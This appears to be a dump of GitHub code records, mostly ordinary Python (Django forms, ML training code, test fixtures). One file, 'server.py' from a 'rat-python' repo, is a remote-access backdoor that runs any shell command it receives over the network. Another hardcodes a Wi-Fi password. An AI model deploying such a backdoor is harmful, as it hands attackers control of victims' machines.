+{"seq_id":"30111288729","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom myreels.models import Order\n\nclass RegistrationForm(UserCreationForm):\n email = forms.EmailField(required=True)\n\n class Meta:\n model = User\n fields = (\"username\", \"email\", \"password1\", \"password2\")\n\n def save(self, commit=True):\n user = super(RegistrationForm, self).save(commit=False)\n user.email = self.cleaned_data['email']\n if commit:\n user.save()\n return user\n\nclass SearchForm(forms.Form):\n title = forms.CharField(label='Title', max_length=100)\n\nclass OrderForm(forms.Form):\n class Meta:\n model = Order\n\n","repo_name":"megalaravi/IMDB-Clone","sub_path":"myreels/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14997849146","text":"from network import WLAN\nimport machine\nimport time\n\nclass CONNECT_TO_WIFI:\n wlan = WLAN(mode=WLAN.STA)\n nets = wlan.scan()\n\n def net_setup(self):\n if not self.wlan.isconnected():\n for net in self.nets:\n if net.ssid == 'Area41':\n print('Network found!')\n self.wlan.connect(net.ssid, auth=(net.sec, '39532213'), timeout=5000)\n while not self.wlan.isconnected():\n machine.idle()\n print(\"WLAN connection succeeded\")\n break\n else:\n print(\"Connection already established!\")\n","repo_name":"admemoriamgrandpa/fun_with_influxdb","sub_path":"lib/connect_to_wifi.py","file_name":"connect_to_wifi.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11447670614","text":"from datetime import timedelta, datetime, date\nfrom django import template\n\nregister = template.Library()\n\n@register.filter()\ndef cleandatetime(strdatetime):\n\tdate_input = strdatetime\n\tdatetimeobject = datetime.strptime(date_input,'%Y%m%d-%H%M-%S')\n\tnew_format = datetimeobject.strftime('%B %d, %Y @ %I:%M %p')\n\treturn new_format\n","repo_name":"b-mf-a/METERSAA","sub_path":"MetersAA/frontend/masterlist/templatetags/cleandatetime.py","file_name":"cleandatetime.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14232904513","text":"import os\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom net import Net\nfrom utils import *\n\nclass Solver():\n def __init__(self, args):\n\n # load shakespeare dataset\n train_iter, data_info = load_shakespeare(args.batch_size, args.bptt_len)\n self.vocab_size = data_info[\"vocab_size\"]\n self.TEXT = data_info[\"TEXT\"]\n\n self.net = Net(self.vocab_size, args.embed_dim,\n args.hidden_dim, args.num_layers)\n self.loss_fn = nn.CrossEntropyLoss()\n self.optim = torch.optim.Adam(self.net.parameters(), args.lr)\n\n self.net = self.net.cuda()\n self.loss_fn = self.loss_fn.cuda()\n\n self.args = args\n self.train_iter = train_iter\n\n if not os.path.exists(args.ckpt_dir):\n os.makedirs(args.ckpt_dir)\n if not os.path.exists(args.result_dir):\n os.makedirs(args.result_dir)\n\n def fit(self):\n args = self.args\n\n for epoch in range(args.max_epochs):\n self.net.train()\n for step, inputs in enumerate(self.train_iter):\n X = inputs.text.cuda()\n y = inputs.target.cuda()\n\n loss = 0\n for i in range(X.size(0)):\n hidden = hidden if i > 0 else None\n out, hidden = self.net(X[i, :], hidden)\n\n out = out.view(args.batch_size, -1)\n loss += self.loss_fn(out, y[i, :])\n\n self.optim.zero_grad()\n loss.backward()\n self.optim.step()\n\n if (epoch+1) % args.print_every == 0:\n text = self.sample(length=100)\n print(\"Epoch [{}/{}] loss: {:.3f}\"\n .format(epoch+1, args.max_epochs, loss.data[0]/args.bptt_len))\n print(text, \"\\n\")\n self.save(args.ckpt_dir, args.ckpt_name, epoch+1)\n\n def sample(self, length, prime=\"First\"):\n self.net.eval()\n args = self.args\n\n samples = list(prime)\n\n # convert prime string to torch.LongTensor type\n prime = self.TEXT.process(prime, device=0, train=False).cuda()\n\n # prepare the first hidden state\n for i in range(prime.size(1)):\n hidden = hidden if i > 0 else None\n _, hidden = self.net(prime[:, i], hidden)\n\n X = prime[:, -1]\n self.TEXT.sequential = False\n for i in range(length):\n out, hidden = self.net(X, hidden)\n\n # sample the maximum probability character\n _, argmax = torch.max(out, 1)\n\n # preprocessing for next iteration\n out = self.TEXT.vocab.itos[argmax.data[0]]\n X = self.TEXT.numericalize([out], device=0, train=False).cuda()\n\n samples.append(out.replace(\"\", \"\\n\"))\n\n self.TEXT.sequential = True\n\n return \"\".join(samples)\n\n\n def save(self, ckpt_dir, ckpt_name, global_step):\n save_path = os.path.join(\n ckpt_dir, \"{}_{}.pth\".format(ckpt_name, global_step))\n torch.save(self.net.state_dict(), save_path)\n","repo_name":"carpediem804/intensive-machine-learning","sub_path":"deep-learning/week3/rnn/char_rnn/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"19205590257","text":"from django import forms\nfrom Deals.choise_field_lists import PRICE_LIST,BEDROOM_LIST\nfrom .models import PropertyType, PropertyInvestmentType\n\nclass SearchDeal(forms.Form):\n location = forms.CharField(label=\"Search using 'town name', 'postcode'\",max_length=255, widget=forms.TextInput(attrs={'placeholder': \"e.g. ‘York’, ‘LU3’ or ‘LU21HT\",\n 'data-url': \"http://127.0.0.1:8000/location_autocomplete/\", 'data-noresults-text':'No matches found', 'autocomplete':'off'}))\n min_price = forms.ChoiceField(label=\"Min Price (£)\", choices = PRICE_LIST, initial='0', required = False)\n max_price = forms.ChoiceField(label=\"Max Price (£)\", choices = PRICE_LIST, initial='0', required = False,)\n min_bedroom = forms.ChoiceField(label=\"Min Bedroom\", choices = BEDROOM_LIST, initial='0', required = False,)\n max_bedroom = forms.ChoiceField(label=\"Max Bedroom\", choices = BEDROOM_LIST, initial='0', required = False,)\n property_type = forms.ModelChoiceField(queryset=PropertyType.objects.all(), to_field_name=\"name\", empty_label=\"All Types\", required = False,) \n Property_investment_type = forms.ModelChoiceField(queryset=PropertyInvestmentType.objects.all(), to_field_name=\"name\", empty_label=\"All Types\", required = False,) \n","repo_name":"umerk4466/Investment-Property-Deals","sub_path":"PropertyDeals/Deals/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4341610515","text":"\"\"\" Holds all of the classes for creating svg tags \"\"\"\n\n\nclass Base:\n \"\"\" The base class for all of the svg elements, holds attributes that they all share \"\"\"\n def __init__(self, id_str, class_list, visibility, data_dict, style_dict):\n self.id_str = id_str\n self.class_list = class_list\n self.visibility = visibility\n self.data_dict = data_dict\n self.style_dict = style_dict\n\n\nclass Rect(Base):\n \"\"\" The class for an SVG rectangle \"\"\"\n\n def __init__(self, id_str, class_list, visibility, data_dict, style_dict, x, y, width, height, rx, ry):\n super().__init__(id_str, class_list, visibility, data_dict, style_dict)\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.rx = rx\n self.ry = ry\n\n def createtag(self):\n \"\"\" Creates an SVG rectangle tag from the class attributes \"\"\"\n\n rect_tag = ' int:\n if target > nums[len(nums)-1]:\n return len(nums)\n elif target < nums[0]:\n return 0\n return self.BinarySearch(nums, 0, len(nums)-1, target)\n\n def BinarySearch(self, nums, low, high, target):\n res = -1\n while low <= high:\n mid = low + (high - low) // 2\n if nums[mid] == target:\n return mid\n elif nums[mid] > target:\n res = mid\n high = mid - 1\n else:\n low = mid + 1\n if res == -1:\n return low\n else:\n return res","repo_name":"jacksonchen1998/LeetCode","sub_path":"35. Search Insert Position/binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74430666118","text":"from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport os\nimport pdb\nimport glob\n\nfrom skimage import transform, io\nimport numpy as np\n\nfrom tqdm import tqdm\n\n\ndef read_whale_flukes():\n \"\"\"Read whale flukes dataset, save to a single npy file\"\"\"\n train = './data/train'\n validation = './data/validation'\n\n data = []\n for r in [train, validation]:\n classes = glob.glob(r + '/*')\n for cls in tqdm(classes):\n imgs = glob.glob(cls + '/*')\n raws = []\n\n for img in [imgs[0]]: # use only the first image in each class\n raw = io.imread(img, as_gray=True)\n raw = transform.resize(raw, (28, 28))\n for dg in [0, 90, 180, 270]: # augmentation\n raw_rot = transform.rotate(raw, dg)\n raw_rot = raw_rot[:, :, np.newaxis] # (28, 28, 1)\n raw_rot = raw_rot.astype(np.float32) / 255.\n raws.append(raw_rot)\n data.append(np.asarray(raws))\n np.save('whale_flukes.npy', np.asarray(data))\n\nclass Data_loader():\n\n def __init__(self, batch_size, n_way=5, k_shot=1, train_mode=True):\n if not os.path.exists('whale_flukes.npy'):\n read_whale_flukes()\n\n self.batch_size = batch_size\n self.n_way = n_way # 5 or 20, how many classes the model has to select from\n self.k_shot = k_shot # 1 or 5, how many times the model sees the example\n\n whale_flukes = np.load('whale_flukes.npy')\n\n # print(whale_flukes.max())\n\n np.random.shuffle(whale_flukes)\n assert whale_flukes.dtype == np.float32\n # assert whale_flukes.max() == 1.0\n # assert whale_flukes.min() == 0.0\n\n if train_mode:\n self.images = whale_flukes[:2975, :4, :, :, :]\n self.num_classes = self.images.shape[0]\n self.num_samples = self.images.shape[1]\n else:\n self.images = whale_flukes[2975:, : 4, :, :, :]\n self.num_classes = self.images.shape[0]\n self.num_samples = self.images.shape[1]\n\n self.iters = self.num_classes\n\n def next_batch(self):\n x_set_batch = []\n y_set_batch = []\n x_hat_batch = []\n y_hat_batch = []\n for _ in range(self.batch_size):\n x_set = []\n y_set = []\n x = []\n y = []\n classes = np.random.permutation(self.num_classes)[:self.n_way]\n target_class = np.random.randint(self.n_way)\n for i, c in enumerate(classes):\n samples = np.random.permutation(self.num_samples)[:self.k_shot+1]\n for s in samples[:-1]:\n x_set.append(self.images[c][s])\n y_set.append(i)\n\n if i == target_class:\n x_hat_batch.append(self.images[c][samples[-1]])\n y_hat_batch.append(i)\n\n x_set_batch.append(x_set)\n y_set_batch.append(y_set)\n\n return np.asarray(x_set_batch).astype(np.float32), np.asarray(y_set_batch).astype(np.int32), np.asarray(x_hat_batch).astype(np.float32), np.asarray(y_hat_batch).astype(np.int32)\n","repo_name":"adamocarolli/MobyNet","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17650988152","text":"import pyautogui, time, logging\r\n\r\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s.%(msecs)03d: %(message)s', datefmt='%H:%M:%S')\r\n\r\n# identify the top-left corner\r\nlogging.debug('Barra de pesca...')\r\nregion = pyautogui.locateOnScreen('C:\\\\Users\\\\We\\\\Pictures\\\\bait.png',confidence= 0.9)\r\nif region is None:\r\n raise Exception('Local inadequado')\r\n\r\n# calculate the region of the entire game\r\ntopRightX = region[0] + region[2] # left + width\r\ntopRightY = region[1] # top\r\nGAME_REGION = (topRightX - 200, topRightY, 200, 90)\r\nlogging.debug('Game : %s' % (GAME_REGION,))\r\nlogging.info('Waiting for Bite...')\r\n\r\nwhile True:\r\n\r\n up = pyautogui.locateCenterOnScreen('C:\\\\Users\\\\We\\\\Pictures\\\\up.png',confidence= 0.9)\r\n if up is None:\r\n logging.debug('1')\r\n if up is not None:\r\n logging.debug('Pulling out!')\r\n pyautogui.moveTo(up)\r\n time.sleep(3)\r\n\r\n reel = pyautogui.locateCenterOnScreen('C:\\\\Users\\\\We\\\\Pictures\\\\reel.png', confidence= 0.9)\r\n if reel is None:\r\n logging.debug('2')\r\n if reel is not None:\r\n logging.debug('Reeling')\r\n pyautogui.moveTo(reel)\r\n time.sleep(3)\r\n pyautogui.click(0,560)\r\n\r\n\r\n right = pyautogui.locateCenterOnScreen('C:\\\\Users\\\\We\\\\Pictures\\\\right.png', confidence= 0.9)\r\n if right is None:\r\n logging.debug('3')\r\n if right is not None:\r\n logging.debug('Direita')\r\n pyautogui.moveTo(right)\r\n time.sleep(3)\r\n\r\n left = pyautogui.locateCenterOnScreen('C:\\\\Users\\\\We\\\\Pictures\\\\left.png', confidence= 0.94)\r\n if left is None:\r\n logging.debug('4')\r\n if left is not None:\r\n logging.debug('Esquerda')\r\n pyautogui.moveTo(left)\r\n time.sleep(3)\r\n\r\n fish = pyautogui.locateCenterOnScreen('C:\\\\Users\\\\We\\\\Pictures\\\\fish.png', confidence= 0.94)\r\n if fish is None:\r\n logging.debug('5')\r\n if fish is not None:\r\n logging.debug('Soltando')\r\n pyautogui.moveTo(fish)\r\n time.sleep(3)\r\n","repo_name":"Dipante/pescas","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6067614044","text":"#!/usr/bin/env python3\n# coding: utf-8\n\nimport socket\nfrom _thread import *\nimport subprocess\nimport time\nimport os\n\nhost=''\nport=4242\nThreadCount = 0\n\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\ns.bind((host, port))\ns.listen(5)\n\ndef multi_threaded_client(conn):\n while True:\n data = conn.recv(1024).decode(\"utf-8\")\n if data:\n print(\"Commande demandée par l'attaquant : %s\" % data)\n try:\n output = subprocess.check_output(data, shell=True)\n except subprocess.CalledProcessError as e:\n output = str(e).encode()\n if output == \"\":\n output = data + \" executed\"\n conn.send(output)\n conn.close()\n\n\nwhile True:\n conn, address = s.accept()\n print('Connected to: ' + address[0] + ':' + str(address[1]))\n start_new_thread(multi_threaded_client, (conn, ))\n ThreadCount += 1\n print('Thread Number: ' + str(ThreadCount))\n","repo_name":"Mandrilux/rat-python","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37987697504","text":"\"\"\"\nbefore_step(context, step), after_step(context, step)\n These run before and after every step.\n The step passed in is an instance of Step.\nbefore_scenario(context, scenario), after_scenario(context, scenario)\n These run before and after each scenario is run.\n The scenario passed in is an instance of Scenario.\nbefore_feature(context, feature), after_feature(context, feature)\n These run before and after each feature file is exercised.\n The feature passed in is an instance of Feature.\nbefore_all(context), after_all(context)\n These run before and after the whole shooting match.\n\"\"\"\n\n\nimport traceback\nfrom behave import fixture, use_fixture\nfrom steps.kind import KindProvider\nfrom steps.persistent_clusters import PersistentClusterProvider\nfrom steps.util import scenario_id, get_env\n\n\ndef is_development(context):\n return \"wip\" in context.tags and context._config.stop\n\n\n@fixture\ndef use_kind(context, _timeout=30, **_kwargs):\n provider = get_env(\"CLUSTER_PROVIDER\")\n if provider == \"kind\":\n context.cluster_provider = KindProvider(prefix=f\"primaza-{scenario_id(context)}-\")\n elif provider == \"external\":\n cluster_kubeconfig_path = get_env(\"MAIN_KUBECONFIG\")\n worker_kubeconfig_path = get_env(\"WORKER_KUBECONFIG\")\n context.cluster_provider = PersistentClusterProvider(\n cluster_kubeconfig=cluster_kubeconfig_path,\n worker_kubeconfig=worker_kubeconfig_path)\n yield context.cluster_provider\n\n # if development configuration is found and scenario failed, skip cleanup\n if is_development(context) and context.failed:\n print(\"wip, stop config and context.failed found: not cleaning up\")\n return\n\n try:\n context.cluster_provider.delete_clusters()\n except Exception as e:\n traceback.print_exception(e)\n context._runner.aborted = True\n\n\ndef before_scenario(context, _scenario):\n use_fixture(use_kind, context, timeout=30)\n\n\ndef before_all(context):\n get_env(\"HOME\")\n get_env(\"USER\")\n\n for env in [\"PRIMAZA_CONTROLLER_IMAGE_REF\", \"PRIMAZA_AGENTSVC_IMAGE_REF\", \"PRIMAZA_AGENTAPP_IMAGE_REF\", \"CLUSTER_PROVIDER\"]:\n # assert they exist\n value = get_env(env)\n print(f\"{env} = {value}\")\n","repo_name":"primaza/primaza","sub_path":"test/acceptance/features/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"62"} +{"seq_id":"18578513436","text":"'''Example shows the recommended way of how to run Kivy with the Python built\nin asyncio event loop as just another async coroutine.\n'''\nimport asyncio\n\nfrom kivy.app import App\nfrom kivy.lang.builder import Builder\nfrom kivy.clock import Clock\n#from blt_message_processor import BltMessageProcessorSimulation, STOP_BLT_COMMUNICATION_MESSAGE, BltMessageProcessorBleak\nfrom kivy.uix.screenmanager import ScreenManager, Screen\nfrom screens import MainScreen, MenuScreen\nfrom kivy.garden.matplotlib import FigureCanvasKivyAgg\nimport matplotlib.pyplot as plt\n#import numpy as np\nfrom kivy.core.window import Window\nfrom kivy.config import Config\n\nfrom kivy.config import ConfigParser\nimport utility\nimport os\n\nASYNC_APP_UI_TEMPLATE_FILE = \"async_app.kv\"\nCOMMAND_QUEUE_CHECKUP_INTERVAL = 0.2\nDEFAULT_CONNECTOR_CLASS = \"Simulation\"\nConfig.set('graphics','resizable', False)\n\n# config = ConfigParser()\n# config.read('config.ini')\n\n\nclass AsyncApp(App):\n \"\"\" blbalbalba kivy app contains build, async run and queues for messages\n \"\"\"\n #blt_client_task = None\n\n def __init__(self, config, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n\n self.lte_tasks = []\n self.hardness_tester = utility.HardnessTesterData()\n self.plt_obj = None\n self.config = config\n\n def build(self) -> ScreenManager:\n Window.size = (1024,780)\n return Builder.load_file(ASYNC_APP_UI_TEMPLATE_FILE)\n\n async def app_run_with_externals(self):\n '''This will run both methods asynchronously and then block until they\n are finished\n '''\n \n self.command_queue = []\n blt_messages_queue = asyncio.Queue()\n\n try:\n blt_class = utility.blt_connector_factory(self.config[\"COMMON\"][\"BluetoothClass\"])\n except KeyError:\n blt_class = utility.blt_connector_factory(DEFAULT_CONNECTOR_CLASS)\n print(\"ERROR: BluetoothClass is not specified in config.ini file\") \n self.blt_processor = blt_class(blt_messages_queue)\n\n\n self.blt_message_consumer_task = asyncio.ensure_future(\n self.process_lte_messages(blt_messages_queue) # TODO should not end with the end message, should always work, connecting/disconnecting to devices should be inside\n )\n\n self.command_q_processor = asyncio.ensure_future(\n self.process_blt_commands_from_ui()\n )\n\n async def run_wrapper():\n await self.async_run(async_lib='asyncio')\n for task in self.lte_tasks:\n task.cancel()\n self.lte_tasks = []\n self.command_q_processor.cancel()\n self.blt_message_consumer_task.cancel()\n try:\n await asyncio.gather(run_wrapper(), self.blt_message_consumer_task, self.command_q_processor)\n except asyncio.exceptions.CancelledError:\n print(f\"App coroutins finished\")\n except Exception as e:\n print(\"Unexpected runtime exepction {e}\")\n raise e\n\n async def process_blt_commands_from_ui(self):\n while True:\n if len(self.command_queue) > 0:\n print(\"Command queue received a message\")\n command, args = self.command_queue.pop(0)\n print(f\"command {command} args P{args}\")\n loop = asyncio.get_event_loop()\n new_task = loop.create_task(command(*args))\n self.lte_tasks.append(new_task)\n print(f\"Got command to execute task {new_task}\")\n try:\n await new_task\n except Exception as exc:\n print(exc) # TODO make as a pop-up\n\n await asyncio.sleep(COMMAND_QUEUE_CHECKUP_INTERVAL)\n\n async def process_lte_messages(self, blt_messages_queue):\n while True:\n data = await blt_messages_queue.get() # TODO implement health check - if nothing comes ping\n #if data == STOP_BLT_COMMUNICATION_MESSAGE:\n if data == None:\n print(\n \"Got message from client about disconnection. Exiting consumer loop...\"\n )\n break\n print(\"Received callback data via async queue: \", data)\n if self.root is not None: #Self root is ScreenManager object\n # TODO: come up with a solution to datalog. should it be here, should it be at all?\n self.hardness_tester.update_data(data)\n with open(\"datalog.txt\", \"a\") as fstream:\n fstream.write(str(data))\n \n bluetooth_data_screen = self.root.get_screen(self.root.current)\n device_data = self.hardness_tester\n self.redraw_hardness_tester_data(bluetooth_data_screen, device_data)\n\n def redraw_hardness_tester_data(self, data_screen, device_data):\n # TODO get parameters type\n # TODO find a way to delete plot \n # TODO think about not using self.plt_obj\n print(\"redraw_hardness_tester_data\")\n print(data_screen.ids.pltbox)\n print(data_screen.ids.pltbox.__dict__)\n\n data_screen.ids.blt_message.text = str(device_data.data)\n data_screen.ids.blt_b.text = str(device_data.b)\n data_screen.ids.blt_e.text = str(device_data.e)\n\n if device_data.e: #subscribe to updates\n e = device_data.e[::4]\n e = list(map(int,e))\n plt.plot(e)\n if self.plt_obj:\n data_screen.ids.pltbox.remove_widget(self.plt_obj)\n self.plt_obj = FigureCanvasKivyAgg(plt.gcf())\n data_screen.ids.pltbox.add_widget(self.plt_obj)\n\n \n\n\nif __name__ == '__main__':\n config = ConfigParser()\n config.read('config.ini')\n asyncio.run(\n AsyncApp(config).app_run_with_externals()\n )","repo_name":"seventil/device_data_analyzer","sub_path":"async_app.py","file_name":"async_app.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16755540882","text":"from django.http import JsonResponse\nfrom user.models import UserProfile\n\n\ndef test_api(request):\n # 加入分佈式鎖\n import redis\n r = redis.Redis(host=\"127.0.0.1\", port=6379, db=0)\n # 防止鎖取不到所以用循環。\n while True:\n try:\n #給鎖一個key名,3秒沒成功強置解鎖\n with r.lock(\"onlock\", blocking_timeout=3):\n # 對score字段進行+1操作\n u = UserProfile.objects.get(username=\"slash\")\n u.score += 1\n u.save()\n break\n except Exception as e:\n print(\"lock is failed\", e)\n return JsonResponse({\"code\": 200})\n","repo_name":"DavidChien791211/gitproject2","sub_path":"blog_project/blog/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35250732627","text":"#!/usr/bin/env python3\n\"\"\"RMSProp Upgraded\"\"\"\n\nimport tensorflow as tf\n\n\ndef create_RMSProp_op(loss, alpha, beta2, epsilon): \n \"\"\"creates the training operation for a neural network in\n tensorflow using the RMSProp optimization algorithm\"\"\"\n op = tf.train.RMSPropOptimizer(alpha, decay=beta2,\n epsilon=epsilon).minimize(loss)\n return op\n","repo_name":"vigobin/holbertonschool-machine_learning","sub_path":"supervised_learning/optimization/8-RMSProp.py","file_name":"8-RMSProp.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"22566188432","text":"from django.shortcuts import render\nimport os,json\nfrom . import settings\ndef hello(request):\n LOG = \"/tmp/ngx_unsafe_log\"\n print(LOG)\n log_file = os.listdir(LOG)\n context = {}\n if log_file == []:\n return render(request, 'null.html',context)\n else:\n logs = open(os.path.join(LOG,log_file[0]),\"r\")\n content = []\n for log in logs:\n content.append(json.loads(log))\n context[\"logs\"] = content\n return render(request, 'index.html', context)\n","repo_name":"DoubleMice/UWFW","sub_path":"webview/webview/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43306083048","text":"#This is a data class. As such its members will be accessed directly, without getters/setters\n\nclass Card():\n def __init__(self, value, suit):\n self.Value = value\n self.Suit = suit\n\n @staticmethod\n def GetDefaultPokerList():\n suits = [\"Diamonds\", \"Spades\", \" Hearts\", \"Clubs\"]\n values = [\"Ace\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"Jack\", \"Queen\", \"King\"]\n return [suits, values]\n\n @staticmethod\n def GetDefaultPokerDeck(hasJokers = False):\n suits, values = Card.GetDefaultPokerList()\n ret = []\n for suit in suits:\n for val in values: #value might be a reserved word so I use val instead\n ret.append(Card(val, suit))\n if hasJokers:\n ret.append(Card(\"Joker\", \"Big\"))\n ret.append(Card(\"Joker\", \"Small\"))\n return ret","repo_name":"UnderPaidMathematician/Continuing_Education","sub_path":"100 Days of Code/Day 1-14 Intro Projects/BlackJack_Game_classes/Card.py","file_name":"Card.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73808650757","text":"# Example showing use of HSV colors\nimport time\nfrom neopixel import Neopixel\n\nnumpix = 60\nstrip = Neopixel(numpix, 0, 0, \"GRB\")\n\nhue = 0\nwhile(True):\n color = strip.colorHSV(hue, 255, 150)\n strip.fill(color)\n strip.show()\n \n hue += 150","repo_name":"blaz-r/pi_pico_neopixel","sub_path":"examples/smoothRainbow.py","file_name":"smoothRainbow.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":212,"dataset":"github-code","pt":"62"} +{"seq_id":"18446770688","text":"import os\nimport uuid\nfrom contextlib import contextmanager\nfrom typing import (\n Callable,\n Iterator,\n Optional,\n)\n\nimport pytest\nfrom sqlalchemy import (\n create_engine,\n delete,\n select,\n)\nfrom sqlalchemy.engine import (\n Engine,\n make_url,\n)\nfrom sqlalchemy.sql.compiler import IdentifierPreparer\n\nfrom galaxy.model.database_utils import (\n create_database,\n DbUrl,\n is_postgres,\n)\n\n# GALAXY_TEST_CONNECT_POSTGRES_URI='postgresql://postgres@localhost:5432/postgres' pytest test/unit/model\nskip_if_not_postgres_uri = pytest.mark.skipif(\n not os.environ.get(\"GALAXY_TEST_CONNECT_POSTGRES_URI\"), reason=\"GALAXY_TEST_CONNECT_POSTGRES_URI not set\"\n)\n\n# GALAXY_TEST_CONNECT_MYSQL_URI='mysql+mysqldb://root@localhost/mysql' pytest test/unit/model\nskip_if_not_mysql_uri = pytest.mark.skipif(\n not os.environ.get(\"GALAXY_TEST_CONNECT_MYSQL_URI\"), reason=\"GALAXY_TEST_CONNECT_MYSQL_URI not set\"\n)\n\n\n@contextmanager\ndef create_and_drop_database(url: DbUrl) -> Iterator[None]:\n \"\"\"\n Context manager that creates a database. If the database is postgresql, it is dropped on exit;\n a sqlite database should be removed automatically by tempfile.\n \"\"\"\n try:\n create_database(url)\n yield\n finally:\n if is_postgres(url):\n _drop_postgres_database(url)\n\n\n@contextmanager\ndef drop_existing_database(url: DbUrl) -> Iterator[None]:\n \"\"\"\n Context manager that ensures a postgres database identified by url is dropped on exit;\n a sqlite database should be removed automatically by tempfile.\n \"\"\"\n try:\n yield\n finally:\n if is_postgres(url):\n _drop_postgres_database(url)\n\n\n@contextmanager\ndef disposing_engine(url: DbUrl) -> Iterator[Engine]:\n \"\"\"Context manager for engine that disposes of its connection pool on exit.\"\"\"\n engine = create_engine(url)\n try:\n yield engine\n finally:\n engine.dispose()\n\n\n@pytest.fixture\ndef sqlite_url_factory(tmp_directory: str) -> Callable[[], DbUrl]:\n \"\"\"\n Same as url_factory, except this returns a sqlite url only.\n This is used when we want to ensure a test runs under sqlite.\n \"\"\"\n\n def url() -> DbUrl:\n database = _generate_unique_database_name()\n return _make_sqlite_db_url(tmp_directory, database)\n\n return url\n\n\n@pytest.fixture\ndef url_factory(tmp_directory: str) -> Callable[[], DbUrl]:\n \"\"\"\n Return a factory function that produces a database url with a unique database name.\n If _get_connection_url() returns a value, the database is postgresql; otherwise, it's\n sqlite (referring to a location witin the /tmp directory).\n \"\"\"\n\n def url() -> DbUrl:\n database = _generate_unique_database_name()\n connection_url = _get_connection_url()\n if connection_url:\n return _make_postgres_db_url(DbUrl(connection_url), database)\n else:\n return _make_sqlite_db_url(tmp_directory, database)\n\n return url\n\n\n@pytest.fixture(scope=\"module\")\ndef url(tmp_directory: str) -> str:\n \"\"\"\n Return a database url with a unique database name.\n If _get_connection_url() returns a value, the database is postgresql; otherwise, it's\n sqlite (referring to a location witin the /tmp directory).\n \"\"\"\n # TODO this duplication should be removed (see url_factory).\n database = _generate_unique_database_name()\n connection_url = _get_connection_url()\n if connection_url:\n return _make_postgres_db_url(DbUrl(connection_url), database)\n else:\n return _make_sqlite_db_url(tmp_directory, database)\n\n\ndef initialize_model(mapper_registry, engine):\n mapper_registry.metadata.create_all(engine)\n\n\ndef replace_database_in_url(url, database_name):\n \"\"\"\n Substitute the database part of url for database_name.\n\n Example: replace_database_in_url('foo/db1', 'db2') returns 'foo/db2'\n This will not work for unix domain connections.\n \"\"\"\n i = url.rfind(\"/\")\n return f\"{url[:i]}/{database_name}\"\n\n\ndef drop_database(db_url, database):\n \"\"\"Drop database; connect with db_url.\n\n Used only for test purposes to cleanup after creating a test database.\n \"\"\"\n if is_postgres(db_url) or _is_mysql(db_url):\n _drop_database(db_url, database)\n else:\n url = make_url(db_url)\n os.remove(url.database)\n\n\ndef dbcleanup_wrapper(session, obj, where_clause=None):\n with dbcleanup(session, obj, where_clause):\n yield obj\n\n\n@contextmanager\ndef dbcleanup(session, obj, where_clause=None):\n \"\"\"\n Use the session to store obj in database; delete from database on exit, bypassing the session.\n\n If obj does not have an id field, a SQLAlchemy WHERE clause should be provided to construct\n a custom select statement.\n \"\"\"\n return_id = where_clause is None\n\n try:\n obj_id = persist(session, obj, return_id)\n yield obj_id\n finally:\n table = obj.__table__\n if where_clause is None:\n where_clause = _get_default_where_clause(type(obj), obj_id)\n stmt = delete(table).where(where_clause)\n session.execute(stmt)\n\n\ndef persist(session, obj, return_id=True):\n \"\"\"\n Use the session to store obj in database, then remove obj from session,\n so that on a subsequent load from the database we get a clean instance.\n \"\"\"\n session.add(obj)\n session.flush()\n obj_id = obj.id if return_id else None # save this before obj is expunged\n session.expunge(obj)\n return obj_id\n\n\ndef delete_from_database(session, objects):\n \"\"\"\n Delete each object in objects from database.\n May be called at the 